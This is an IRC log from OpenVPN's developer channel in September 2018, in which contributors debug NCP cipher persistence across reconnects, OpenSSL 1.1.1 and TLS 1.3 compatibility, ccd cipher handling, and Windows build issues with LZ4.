signals... 04:53 <@syzzer> but we sure should not leave any NCP-determined ciphers around if we are going to do a new push/pull 04:55 <@cron2> https://community.openvpn.net/openvpn/ticket/1105 04:55 <@vpnHelper> Title: #1105 (Seems like openvpn client doesn't correctly interpret configuration file after automatic reconnect) – OpenVPN Community (at community.openvpn.net) 04:55 <@cron2> here we are 04:56 <@cron2> maybe we should just store away the OCC option string on startup, and never modify it again... 04:56 <@cron2> (but that would be hiding the problem - on reconnect, it makes sense to revert to the "config" cipher) 04:57 <+lev__> I think problem is here: https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/init.c#L2600 04:57 <@vpnHelper> Title: openvpn/init.c at master · OpenVPN/openvpn · GitHub (at github.com) 04:58 <+lev__> this overwrites config values with NCP values on reconnect 04:59 <@syzzer> lev__: but that's done only "if (!tls_ctx_initialised(&c->c1.ks.ssl_ctx))" 04:59 <@syzzer> and c1 should be persistent across sigusr1, right/ 05:00 <+lev__> well that's the problem 05:00 <+lev__> it got de-initialized 05:00 <+lev__> https://gist.github.com/lstipakov/d001a2e1fee16e5dc5911c6ed870f18d 05:00 <@vpnHelper> Title: gist:d001a2e1fee16e5dc5911c6ed870f18d · GitHub (at gist.github.com) 05:00 <+lev__> see trace 05:01 <@syzzer> hm, do you know why it got deinitialized? 05:04 <+lev__> it is done by key_schedule_free if free_ssl_ctx is true 05:04 <@syzzer> ah, but the problem is that "c->options" persists across sigusr1 at the client-side too 05:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:06 <@syzzer> but that is exactly what this patch was trying to fix... 05:07 <@syzzer> (I'm reliving the quest from two years ago...) 05:09 * cron2 wonders if lev__ happens to use a branch where this hasn't been merged? 05:10 <+lev__> ➜ openvpn git:(master) ✗ git rev-parse HEAD 05:10 <+lev__> 57d6f103f378b927b9e0054b022b5b8b442973b8 05:13 <+lev__> how about we restore options inside close_instance by calling something like do_restore_options() which does options->ciphername = c->c1.ciphername etc 05:13 <@syzzer> lev__: would this fix it? https://gist.github.com/syzzer/5a277daee2e6dd688437c10b9d47a681 05:13 <@vpnHelper> Title: gist:5a277daee2e6dd688437c10b9d47a681 · GitHub (at gist.github.com) 05:14 <@syzzer> that basically does what you propose, but then hacky :p 05:16 <+lev__> I would prefer to have dedicated method, not because it is my idea but because it doesn't seem to be the business of "do_close_free_key_schedule" 05:16 <+lev__> also, what is "free key schedule" ? 05:17 <+lev__> (besides the fact that it frees TLS context) 05:18 <@syzzer> lev__: yeah, that might be better. Though the init is done "if (!tls_ctx_initialised(&c->c1.ks.ssl_ctx))" 05:18 <@syzzer> the symmetric cleanup for that is "free_key_schedule", I think... 05:19 <@syzzer> but maybe I just never understood this code well enough - at least it has confused me several time. 05:19 <@syzzer> +s 05:21 <+lev__> I wonder if init should be moved out of do_init_crypto_tls_c1, why setting options depends on initialization state of TLS context ? 05:23 <@syzzer> because c1 is persistent across sigusr1 restarts 05:23 <@syzzer> at least that was my thinking when I wrote this 05:23 <+lev__> yes but TLS context doesn't 05:23 <@syzzer> but I'm all open for improvements :) 05:28 <@syzzer> while looking at this, remember that (1) c->options is altered by pushed options, *and* persists over sigusr1 restarts, (2) c1 persists over sigusr1 restarts but is not altered by pushed options, and (3) apparently, c1 is for some reason not always really persistent across sigusr1 restarts (e.g. this bug shows that the ssl_ctx-part of c1 *is* cleaned up and reinitialized...) 05:31 <@syzzer> I think the real fix is to restore options to the configured options on a sigusr1, but that is going to change behaviour, so can not be done for 2.4 (but might be doable for master) 05:31 <@cron2> yeah, we're a bit late in the 2.4 cycle for that :-/ 05:32 <@cron2> I do not think we have legit use cases anymore (since "compress" is pushable now), but people have been observed to do funky things 05:32 <@cron2> just let me know which patches should go to which branch 05:32 <+lev__> but can we all agree that current behavior is buggy and needs to be fixed, both in master and 2.4 05:33 <@syzzer> I'm out for lunch now for about 30m, before the canteen is out of food :p 05:33 <@syzzer> lev__: yes 05:33 <@syzzer> well, for the NCP-specific parts 05:33 <@syzzer> I can not oversee the exact consequences of completely resetting the options on sigusr1 05:34 <@syzzer> any, back in 30 :) 05:34 <+lev__> but cannot we just make NCP options not persist over sigusr1, or do people rely on this 05:34 <@cron2> lev__: NCP options are not expected to persist 05:34 <@syzzer> what cron2 says 05:36 <+lev__> do you guys happen to know under what circumstances "Re-using SSL/TLS context" branch is executed in client mode ? 05:38 <@plaisthos> dazo: yeah, but that is again 50 USD, these little things add up. But I might be able to support Yubikey neo as certificate in my app. But it will be rather annoying to use :D 05:42 <@plaisthos> and ideally I want a usb-c and a nfc one 05:42 <@plaisthos> the combination does not seem to exist 05:49 <@plaisthos> persisting options over usr1 sounds like a bug in any case 06:46 <+lev__> so regarding NCP options, how about this fix https://github.com/lstipakov/openvpn/commit/82713a05fe06fea53c9f5e33df83f601b68c6b03 06:46 <@vpnHelper> Title: restore NCP options (WIP) · lstipakov/openvpn@82713a0 · GitHub (at github.com) 06:50 <@syzzer> plaisthos: I'll bring you a Neo at the hackathon 06:50 <@syzzer> I have a few lying around 06:50 <@syzzer> (laying around?) 06:50 <@plaisthos> syzzer: did you get a lot of those for free or why? 06:51 <@syzzer> not a lot, 3. but I would love to take your arguments to not touch pkcs11 away :p 06:51 <@plaisthos> I might order some myself 06:52 <@syzzer> ok, let me know if I should bring one :) 06:53 <@plaisthos> In my spare time I implemented external SSL plugin support since it interested me and a Russian company was asking me about a version with their closed source stuff in it 06:54 <@plaisthos> to which I replied that this would be w/o openvpn3 and I would prefer a plugin interface (not alone for that reason) 06:54 <@plaisthos> so OpenVPN for Android already has a 3rd party certificate interface 06:54 <@plaisthos> I could add a Yubikey for OpenVPN for Android for external auth app to the store 06:54 <@plaisthos> :) 06:55 <@plaisthos> Proof of concept, only usuable with openvpn2 06:55 <@plaisthos> and OepnVPN AS as server %) 06:55 <@plaisthos> s/and/or/ 06:56 <@plaisthos> other combinations will force you to present your key on every dman network switch and reconnect 07:45 < tincantech> FYI: I just noticed that arch-linux now has openssl 1.1.1 and openvpn 2.4.6 is built with openssl 1.1.1 07:48 < tincantech> and I just built openvpn 2.5 git_master with openssl 1.1.1 07:52 < tincantech> hoho .. deeper checking reveals : OpenSSL: error:14209102:SSL routines:tls_early_post_process_client_hello:unsupported protocol 07:54 <@plaisthos> hu? 07:58 < tincantech> it's ok .. i have the server set to tls-version-min 1.3 and none of my clients have openssl 111 yet ;) 07:58 < tincantech> it works now i changed it to 1.2 08:01 <@plaisthos> does openssl itself even have proper 1.3 support?! 08:05 <@syzzer> plaisthos: yes, since 1.1.1 08:06 <@syzzer> which was released about a week ago 08:11 < tincantech> plaisthos: you could subscribe to openssl-announce@openssl.org .. very low volume but useful 08:14 < tincantech> or check this from time 2 time : http://openssl.6102.n7.nabble.com/OpenSSL-Announce-f42170.html 08:14 <@vpnHelper> Title: OpenSSL - OpenSSL - Announce | Mailing List Archive (at openssl.6102.n7.nabble.com) 08:18 <@plaisthos> syzzer: oh then I need to check if my app still builds with ossl 1.1.1 or is now horrible borken 08:19 <@plaisthos> (I fear the latter) 10:25 <@syzzer> cron2: I was just about to create a patch to rip out that (unused) void_ptr_hash_function 11:31 <@plaisthos> Sep 19 18:31:29 hermes ovpn-hd[7221]: 89.247.126.214:26849 OpenSSL: error:14209102:SSL routines:tls_early_post_process_client_hello:unsupported protocol 11:31 <@plaisthos> that does not sound good 11:32 <@plaisthos> that happens if you only upgrade openssl but do not recompile openvpn 11:34 <@plaisthos> library versions: OpenSSL 1.1.1 11 Sep 2018, LZO 2.08 11:35 <@plaisthos> oepnssl 1.1.1 android client cannot connect 11:35 <@plaisthos> openssl 1.1.0h android client connects just fine 11:35 <@plaisthos> old ubuntu with openpn2.4 and openssl 1.0.2 cannot connect 11:36 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Quit: ZNC 1.6.3+deb1 - http://znc.in] 11:44 < tincantech> plaisthos: on the 1.1.1 server (I am guessing) you could try woth --tls-version-min 1.2 --tls-version-max 1.2 11:45 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 11:45 -!- mode/#openvpn-devel [+v lev__] by ChanServ 11:46 <@plaisthos> tincantech: it is even strange 11:46 <@plaisthos> it seem to be a problem with my certificates 11:47 <@plaisthos> with pure ec on server and cient: 42:80a1 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, 384 bit EC, curve: secp384r1 11:47 < tincantech> then cli & serv must be 1.1.1 11:48 <@plaisthos> no 11:48 < tincantech> TLS 1.3 is only in openssl 1.1.1 AFAIK 11:48 <@plaisthos> tincantech: yes 11:49 < tincantech> sorry maybe i misunderstood .. is the server ssl 1.1.1 ? 11:50 <@plaisthos> tincantech: upgrading the tls library to 1.1.1 breaks this server for ossl 1.1.1 clients and 1.0.2 clients it seems 11:50 <@plaisthos> sorry for 1.1.1 and 1.1.0 clients 11:50 <@plaisthos> with different set of certificates it works again 11:53 < tincantech> maybe the different certs are not ec .. I don't fully understand it but tls-cipher is conditional on the cert tyoe in use 11:54 < tincantech> and that in turn will effect tls-version (i am really stabbing in the dark tho) 11:58 < kitsune1> Supported openssl features (TLS 1.3 etc.) are determined at OpenVPN compile time. It would be nice to have some run time detection logic so that openssl library upgrade is enough to enable TLS 1.3 etc. 11:59 < kitsune1> May be not easy to do...? 11:59 <@plaisthos> kitsune1: nah this is a different problem 11:59 <@plaisthos> upgrading openssl should be enough 11:59 <@plaisthos> but without recompiling you won't get all features 12:00 <@plaisthos> for 1.0.2 vs 1.1.0 you can only have recompile because the ABIs are incompatible 12:00 < kitsune1> Really? --tsl-version-min 1.3 will not unless recompiled (AFAIR) -- some preprocessor macros are checked to see supported versions at compile time. 12:00 <@plaisthos> kitsune1: yes you are talking about the macro 12:01 <@plaisthos> kitsune1: but openssl will still negioate tls 1.3 12:01 <@plaisthos> unless you have a tls-version-max in there 12:01 < kitsune1> 1.1.1 is ABI compatible to 1.1.0 but we still need to recompile to get TLS 1.3 12:02 < kitsune1> Easy to test -- try latest 2.4 release with openssl 1.1.1 and --tls-version-min 1.3 12:02 <@plaisthos> kitsune1: yes. that does not contradict what I said 12:03 < tincantech> i though openvpn was not dependant on the system ssl library at all at rub time ? 12:03 < tincantech> run* 12:03 < kitsune1> ? 12:04 < tincantech> you don't understans the question ? 12:04 < kitsune1> If you build statically, it wont. I was referring to dynamic builds which is what almost everyone uses. 12:04 <@plaisthos> kitsune1: OpenVPN will not know aobut ths tls-version-min 1.3 option if compiled against older openssl version 12:05 < tincantech> ahh .. sorry i am confusing the byuls-system and windows builds .. 12:05 < tincantech> build* 12:05 <@plaisthos> kitsune1: but you if you upgrade to openssl 1.1.1 and connet with an openssl 1.1.1 client to it, they will use tls 1.3 12:06 < kitsune1> Yeah, that's because of checking preprocessor macros to determine supported features. If a run time check was possible it would be much easier to upgrade the library only and not recompile openvpn.. Anyway, not a big deal, and run time tests may not be easy if openssl does not provide API for it. 12:07 <@plaisthos> kitsune1: might change in the feature 12:07 <@plaisthos> but before openssl 1.1.1 release there was no way to even define the macro 12:07 <@plaisthos> since you only can copy its real value after openssl 1.1.1 has been released 12:07 < kitsune1> Agreed -- but macro is not the only way to check supported features 12:08 <@plaisthos> kitsune1: How else? 12:08 <@plaisthos> kitsune1: you are talking about a *very* specific function 12:09 <@plaisthos> you need to call SSL_CTX_set_min_proto_version(ctx,TLS1_3_VERSION) for tls-min-version 12:09 < kitsune1> Like how supported ciphers are checked. But not sure whether there is a simple API for checking TLS versions supported by the dynamic librray at run time. 12:09 <@plaisthos> which you can only do if TLS1_3_VERSION is defined 12:09 <@plaisthos> kitsune1: supported ciphers are dynamic 12:09 < kitsune1> Yeah that's hwat I meant 12:10 <@plaisthos> the new digest/cipehrs should work without reocmpiling 12:13 < kitsune1> The problem is that there is no standardized way of referring to TLS version so one has to use library specific macros like TLS1_3_VERSION which needs to resolve at compile time. So run time detection may be impossible... 12:17 < kitsune1> Actually the ProtocolVersion for 1.3 is standardized as 0x301, so, in principle, a run-time detection should be possible. Though not necessairily easy.. 12:20 < kitsune1> s/0x301/0x304/ 12:30 <@plaisthos> kitsune1: on wire yes. But you never know if the library of openvpn will end up the same :) 12:30 <@plaisthos> it did 12:30 <@plaisthos> kitsune1: but you wasting a lot of energy complaining that tls-version-min 1.3 did not work 12:49 <@plaisthos> openssl 1.1.1 breaks down if you use ca with multiple cas instead of capath 12:49 <@plaisthos> *sigh* 12:49 <@plaisthos> with that only one client stopps connecting 12:50 <@plaisthos> cipher TLSv1.3 TLS_AES_256_GCM_SHA384 interesing that the ciphersuite does not mention DH anymore 12:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 15:46 <@vpnHelper> RSS Update - gitrepo: Remove unused void_ptr_hash_function and void_ptr_compare_function <https://github.com/OpenVPN/openvpn/commit/01f7bb52ce510f0fc915c9aa6a14f79b2779a7f8> 16:54 <@ordex> mattock1: won't be there! but you realized it :P 23:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Thu Sep 20 2018 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 00:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 00:51 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 01:32 <@cron2> moin 01:44 <@cron2> ordex: meeting was strange anyway, because mattock1 disappeared as well, and syzzer and lev__ had a nice discussion in openvpn-devel instead :) 02:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 03:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:40 <@mattock1> oh shit yes 04:40 <@mattock1> I was just looking at #openvpn-devel on Wed 04:40 <@mattock1> no wonder nothing really happened 04:41 <@mattock1> tells how often we have meetings... it was easier to remember when they were predictable 04:42 <@cron2> they are predictable, you just missed the last 471 meetings :) 04:43 <@dazo> :-P 04:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 05:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:46 <+lev__> syzzer: about this patch https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg16659.html 06:46 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Allow changing cipher from a ccd file (at www.mail-archive.com) 06:46 <+lev__> so if I have "cipher AES-128-CBC" in ccd file for client, server is supposed to use that cipher ? 06:47 <+lev__> somehow I always get AES-256-GCM 07:02 <@cron2> lev__: well, you need to apply the patch... :) 07:02 <@cron2> (and it's possible that NCP overrides the ccd/ file) 07:06 <+lev__> cron2: yeah figured out that this is for "poor man NCP", will try with 2.3 client 07:13 <@syzzer> lev__: or add ncp-disable to your ccd file :) 07:13 <@syzzer> (or command line, or config file) 07:14 <@cron2> does ncp-disable work in a ccd/ file? 07:14 <@cron2> never tried 07:18 <+lev__> if client doesn't specify any cipher, has ncp-disable in config and server has ccd file with AES-128-CBC, shouldn't it be used? 07:20 <+lev__> well it appears that server uses AES-128-CBC but client uses BF-CBC 07:22 <+lev__> and if client doesn't have ncp-disable then both sides use AES-256-GCM 07:22 <@syzzer> lev__: that's because you have no "push cipher AES-256-CBC" in the ccd file then 07:23 <@syzzer> for poor-mans NCP you need to both set the local cipher *and* push the client cipher 07:24 <+lev__> okay, put this to ccf: push "cipher AES-128-CBC" 07:25 <+lev__> /%s/ccf/ccd/ 07:26 <+lev__> what do I need to do on client? I added disable-ncp and want server to push AES-128-CBC 07:26 <@syzzer> then nothing :) 07:26 <@cron2> what syzzer said :) 07:26 <@cron2> but a 2.3 client will not accept pushed ciphers 07:26 <@cron2> so "poor man's NCP" is basically 07:27 <@cron2> taking the client's "cipher" settings, visible to us via OCC, and accepting that 07:28 <@cron2> "ccd/ cipher" has a different use case - "I know this client profile has been changed to <some experimental cipher> and want to make that work on the server side" 07:28 <@cron2> = requiring prior knowledge about what you want 07:28 <@cron2> now, a 2.*4* client with --ncp-disable would work with "cipher + push cipher" in ccd/ 07:29 <@cron2> (... I think) 07:32 <+lev__> in client config I have "disable-occ/ncp-disable", in server config I have "ncp-ciphers AES-128-CBC / client-config-dir ccd" and in ccd "cipher AES-128-CBC / push 'cipher AES-128-CBC'" 07:33 <+lev__> with this setup client uses BF-CBC and server uses AES-128-CBC 07:33 <@cron2> 2.3 or 2.4 client? 07:33 <+lev__> 2.5+ 07:33 <@cron2> what does the client log say about the pushed cipher? 07:33 <+lev__> (master) 07:33 <+lev__> Options error: option 'cipher' cannot be used in this context ([PUSH-OPTIONS]) 07:34 <+lev__> (and I did apply patch) 07:34 <@cron2> VERIFY_PERMISSION(OPT_P_NCP); 07:34 <@cron2> mmmh 07:35 <@cron2> --disable-ncp on the client turns off both the announcement of "I can do NCP!" to the server *and* the willingness to receive pushed ciphers 07:35 <@cron2> (init.c, OPT_P_NCP is only added to the option bitmask when NCP is not disabled) 07:36 <@cron2> syzzer: how did you test this patch? 07:36 <@dazo> sent to the ML and let the others do the grunt work ..... 07:36 * dazo ducks 07:36 <+lev__> ah ok, so it cannot work with 2.4 implementation of poor man ncp (aka ncp-disable) 07:37 <@cron2> well, not pushing, but ccd/'ing 07:37 <@cron2> "if you know what the client has in its config, ccd/ can tell the server" 07:45 <@syzzer> cron2, lev__: tested "manuall" and quite a long time ago... 07:46 <@syzzer> so I'd really have to dive back in to say something meaningful 07:49 <+lev__> with 2.3 it also says "option 'cipher' cannot be used in this context ([PUSH-OPTIONS])" 07:55 <+lev__> OTOH it works if client has AES-128-CBC defined in its config 08:11 <@syzzer> ah, right, this indeed does not allow "push cipher", just "cipher" in ccd 08:12 <@syzzer> so if you *know* some client has changed config to use some cipher, you can use a ccd file to match that at the server side 08:16 < tincantech> the manual for 2.3 states that "The following data is always pushed to the server .. IV_NCP=" but 2.3.18 does *not* push IV_NCP because 2.3.18 does not do ncp 12:43 <@ordex> cron2: sounds like something happened nonetheless :) 13:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 19:08 < tincantech> you know how 'sup is "what's up?" .. well 'seppanen is "what's happening?" 19:49 < tincantech> m-a: do you know you keep on disconnecting from irc ? --- Day changed Fri Sep 21 2018 01:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:25 <@ordex> tincantech: :D seppanen?! 02:28 <@mattock1> I wonder what the context is here :) 02:33 <@cron2> syzzer: is there an easy way to check "how many more days will this client certificate be valid?" from a client-connect script? 02:34 <@cron2> one of my colleagues asked me yesterday if $corp OpenVPN could trigger "something" if the client cert will expire in less than 4 weeks - the "something" part is easy, but I wonder about the "if" part :-) 02:44 <@syzzer> Uh, not sure about client-connect, but tls-verify can get the certificate as a file 02:45 <@syzzer> so you can do whatever scripting magic to determine the validity 02:45 <@syzzer> cron2: ^^ 02:48 <@cron2> syzzer: so tls-verify it is, then :-) - so you just do "openssl x509 -text" and figure out the end date? 02:49 <@syzzer> for example, or maybe it even has an option to check validity 02:49 <@cron2> I'll go digging... (and post the result on -devel) 02:52 <@syzzer> there's at least "openssl x509 -in test.crt -noout -enddate" 02:52 <@syzzer> ah, -checkend! 02:53 <@cron2> oh, cool. That's fairly trivial then :-) 05:38 <@plaisthos> my yubikey neo arrived 05:38 <@plaisthos> and I think I might be in for a challenge ... :/ 06:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:58 <+lev__> what do you guys use for developing interactive service, Visual Studio / minigw ? 07:06 <@cron2> mingw 07:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:18 < tincantech> cron2: is it a bug in the 2.3 manual to say that IV_NCP is always pushed when it is not because 2.3 does not do NCP .. I checked and it is definitely not pushed 07:39 <@dazo> syzzer: ^^^ 07:40 <@syzzer> I don't think 2.3 ever pushes IV_NCP= 07:41 < tincantech> it does not .. but the 2.3 manual clearly states it does 07:43 <@dazo> yeah, it's not clear from the --push-peer-info man page entry on 2.3 at all ... "The following data is always pushed to the server:" and then "IV_NCP=2 [...]" 07:44 < tincantech> probably the same for IV_RGI6, IV_LZ4 and IV_LZO_STUB 07:44 < tincantech> I am looking at a server log now with 2.3 client and can see the peer info 07:45 <@dazo> I think this whole part could be improved .... because first sentence I quote above is true, regardless if --push-peer-info is used or not ... but that first gets clearer later on in that section 07:45 <@dazo> by adding that option, you only send even more IV_ vars 07:45 * dazo gotta run 07:47 < tincantech> my 2.3 client uses --push-peer-info because I use some UV_vars 07:55 <@cron2> seems a 2.4 or 2.5 doc update made it into 2.3, mentioning IV_NCP which doesn't exist there 08:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:45 <@vpnHelper> RSS Update - tickets: #1116: TLS 1.3 / openssl 1.1.1 <https://community.openvpn.net/openvpn/ticket/1116> 14:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:38 < jkunkee> I know it's an absolutely terrible time of day to ask this, but does anyone have a sec to go over the OpenVPN daemon's interaction with the tap driver with me? 14:39 < jkunkee> my current understanding is that tap-windows6 accepts normal network traffic from the OS and simply shunts it to the daemon, and the daemon can inject traffic into the host using the driver. 14:54 < tincantech> jkunkee: i probably cannot help with code but if you describe your problem i may be able to 15:14 <@dazo> jkunkee: I don't know much about the tap-windows stuff, but it sounds familiar. The TAP driver is essentially a virtual NIC where OSI layer 1 is the code making use of this virtual NIC 15:15 <@dazo> jkunkee: now, the TAP implementation on Windows does some ugly tweaks to support TUN mode, where the Ethernet frames are "simulated" by the driver 15:16 <@dazo> jkunkee: so in TAP mode, the data on the file descriptor tied to the virtual NIC would then typically be layer 2 contents (Ethernet frames), while in TUN mode it would be Layer 3 based IP packets 15:17 <@dazo> jkunkee: this is just scratching the surface .... but that's the crux of it 15:45 <@cron2> jkunkee: I know more than I want to admit :-) - what is it that you are interested in? 15:46 <@cron2> (but what dazo described pretty much sums it up) 15:59 <@dazo> \o/ I got something mostly right .... and that's even on a late Friday evening :-P 16:47 < jkunkee> dazo: thank you! 16:47 < jkunkee> basically, I talked with the HLK folks today about what the driver is doing 16:48 < jkunkee> Knowing what layer it stops helped them get their minds around just how hardware-independent the driver is 16:49 < jkunkee> Sadly, tap-windows6 needs to pass the HLK as-is on real hardware, but it sounds like the remaining issues are most likely real ones. 16:57 <@dazo> kinda funny paradox ... a driver for a pure software stack with no hardware requirements needs to be certified on real, bare metal hardware ... 17:03 < tincantech> kinda naive to think M$ don't want to bury the competition under an avalanche of B$ 17:07 <@dazo> well, my experience is that MS is really positive towards OpenVPN these days 17:08 * dazo need to find a bed .... before falling asleep behind a keyboard 17:09 < tincantech> i said enough and mattock was not here to see .. so sleep well :-) 18:31 < SCHAPiE> hm, GNOME's NetworkManager's OpenVPN plugin has the auth digests (a subset of them) hardcoded into the source, slightly annoying 18:31 < SCHAPiE> wrote a small patch to add some of the new openssl-1.1.1 ones: https://ptpb.pw/qJhe --- Day changed Sat Sep 22 2018 06:13 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Quit: ZNC 1.6.3+deb1ubuntu0.1 - http://znc.in] 06:26 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 06:26 -!- mode/#openvpn-devel [+v lev__] by ChanServ 11:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:13 < SCHAPiE> allowing for things like: https://ptpb.pw/_MnL 13:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Sun Sep 23 2018 02:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:49 <+lev__> when I build openvpn for Windows with minigw using openvpn-build/generic/build, it is configured with HAVE_LZ4, however liblz4 is not added during linkage (nor lz4 compat layer), as a result I got undefined reference to `LZ4_compress_default' 06:50 <+lev__> is it broken or am I doing anything wrong? https://gist.githubusercontent.com/lstipakov/a87b6dc38bce037913a65773fc601846/raw/aefb27deb51acc643e21f6024aa7747bc51a8b24/gistfile1.txt 07:26 <@cron2> you are doing something wrong, though I can't tell what - "it works for mattock and me, following the instructions in the wiki" 07:27 <@cron2> seems configure is doing something funky 07:56 < tincantech> lev__: i just tested win64 and it works for me 08:04 <+lev__> do you use generic/build or windows-nsis/build? does you configure add -llz4 ? 08:04 <+lev__> also, what do you use as a shell? I use msys2/mingw64.exe 08:08 <+lev__> I used this https://github.com/OpenVPN/openvpn-build/tree/master/generic as instruction 08:08 <@vpnHelper> Title: openvpn-build/generic at master · OpenVPN/openvpn-build · GitHub (at github.com) 08:51 < tincantech> lev__: see this : https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#BuildingOpenVPNanditsdependencies 08:51 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 08:51 < tincantech> i did Windows 64bit 08:52 < tincantech> if you want the entire install bundle you use windows-nsis/build-complete 10:49 < tincantech> ecrist: just curious .. how do you plan to move easyrsa forward ? 12:05 <@cron2> lev__: ah, no idea if anyone has tested msys2 in a long while 12:05 <@cron2> mattock and I build on ubuntu 16.04 with mingw64 (cross) 12:44 <+lev__> tincantech: did you try on Windows (host) ? 13:01 < tincantech> lev__: no .. the only host I know that works is ubuntu 16.04 lts 13:06 <+lev__> I see. I am looking into switching interface to DHCP via interactive service and doing development / testing on Windows, so it would be nice to make Windows host work too. 13:11 <@cron2> it might be easier to use visual studio - at least, this is what more people are using than msys/mingw 13:12 <@cron2> some folks on the openvpn-devel list use visual studio, mattock and I (and tincantech) use ubuntu, so those are actively maintained. If you make msys work without breaking ubuntu, we'll happily merge patches :) --- Day changed Mon Sep 24 2018 00:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:21 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:37 <@mattock1> maybe it would make sense to prepare the wednesday meetings the first thing on Monday 00:37 <@mattock1> so 00:38 <@mattock1> meeting next wednesday? :) 01:55 <@cron2> I can make it 02:57 <@ordex> mattock1: yup 03:47 <+lev__> mattock1: what is the difference between "generic" and "windows-nsis" except that latter produces installation package ? 05:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:58 <@dazo> SCHAPiE: feel free to reach out to the NetworkManager guys on #nm ... they're quite receptive to such improvements 06:01 <@dazo> And I've had some discussions with them in regards to all this hard-coding stuff ... so we've been pondering on how to improve this - but these improvements might first be seen with a future openvpn3-linux based implementation 06:09 <@plaisthos> harcode more things of course! 06:16 <@plaisthos> SCHAPiE: there is also SM3 new in openssl 1.1.1. Have not tested it but it might/should work 06:21 <@dazo> :) 06:21 <@dazo> plaisthos: as long as it is hardcode once, use everywhere, I'm with you ;-) 06:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:33 <@mattock1> lev: windows-nsis uses generic to build the binaries 06:33 <@mattock1> so windows-nsis operates on a higher level so to speak 06:35 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2018-09-26 06:35 <@vpnHelper> Title: Topics-2018-09-26 – OpenVPN Community (at community.openvpn.net) 06:35 <@mattock1> I will send out the invitation now 06:37 <@mattock1> done 06:40 <@cron2> these topics make me unhappy 06:41 <@mattock1> the first one in particular makes me unhappy 06:42 <@plaisthos> I am going to push a new version of my app to beta channel 06:43 <@plaisthos> with OpenSSL 1.1.1/TLS 1.3 06:43 <@plaisthos> so I expect a lot of breakage :D 06:47 <@dazo> plaisthos: does f-droid have a similar channel for betas? I'm willing to test 06:48 <@plaisthos> not sure 06:48 <@plaisthos> I don't think so 06:48 <@plaisthos> but here http://plai.de/android/ics-openvpn-0.7.6.apk 06:48 <@plaisthos> but signed with my key and not the fdroid key 06:48 <@dazo> cool, I'll grab it and have a look 07:34 <+lev__> dazo: How this is supposed to work if liblz4 is found with correct version? In this case value of LZ4_LIBS stays empty https://github.com/OpenVPN/openvpn/blob/master/configure.ac#L1091 07:34 <@vpnHelper> Title: openvpn/configure.ac at 